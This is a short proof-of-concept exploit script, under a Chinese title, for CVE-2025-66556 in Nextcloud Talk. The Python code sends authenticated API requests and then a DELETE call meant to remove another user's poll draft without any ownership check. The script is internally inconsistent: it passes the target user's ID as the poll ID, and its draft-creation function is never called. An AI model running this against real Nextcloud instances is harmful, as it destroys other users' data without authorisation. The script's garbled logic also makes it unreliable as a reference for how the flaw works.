CVE-2025-66556 Nextcloud Talk投票草稿未授权删除漏洞

# CVE-2025-66556 PoC - Nextcloud Talk Poll Draft Deletion # Requires: Valid session with chat permission, target user's numeric ID import requests import json # Configuration NEXTCLOUD_URL = "https://your-nextcloud-instance" SESSION_TOKEN = "your-session-token" CONVERSATION_TOKEN = "conversation-token-here" TARGET_USER_ID = 12345 # Numeric ID of target user # Step 1: Get list of participants to find target user ID def get_participants(): url = f"{NEXTCLOUD_URL}/ocs/v2.php/spreed/conversations/{CONVERSATION_TOKEN}/participants" headers = { "OCS-APIREQUEST": "true", "Authorization": f"Bearer {SESSION_TOKEN}" } response = requests.get(url, headers=headers) return response.json() # Step 2: Create a poll draft (as target user - simulated) def create_poll_draft(): url = f"{NEXTCLOUD_URL}/ocs/v2.php/spreed/polls" headers = { "OCS-APIREQUEST": "true", "Authorization": f"Bearer {SESSION_TOKEN}", "Content-Type": "application/json" } data = { "conversationToken": CONVERSATION_TOKEN, "question": "Test Poll", "options": ["Option 1", "Option 2"], "draft": True } response = requests.post(url, headers=headers, json=data) return response.json() # Step 3: Delete other user's poll draft (VULNERABILITY) def delete_other_user_poll_draft(poll_id): url = f"{NEXTCLOUD_URL}/ocs/v2.php/spreed/polls/{poll_id}" headers = { "OCS-APIREQUEST": "true", "Authorization": f"Bearer {SESSION_TOKEN}" } # The vulnerability: no ownership verification response = requests.delete(url, headers=headers) return response.status_code == 200 # Main execution if __name__ == "__main__": print("Fetching participants...") participants = get_participants() print(f"Found {len(participants.get('ocs', {}).get('data', []))} participants") print("\nDeleting target user's poll draft...") success = delete_other_user_poll_draft(TARGET_USER_ID) print(f"Poll deletion {'successful' if success else 'failed'}")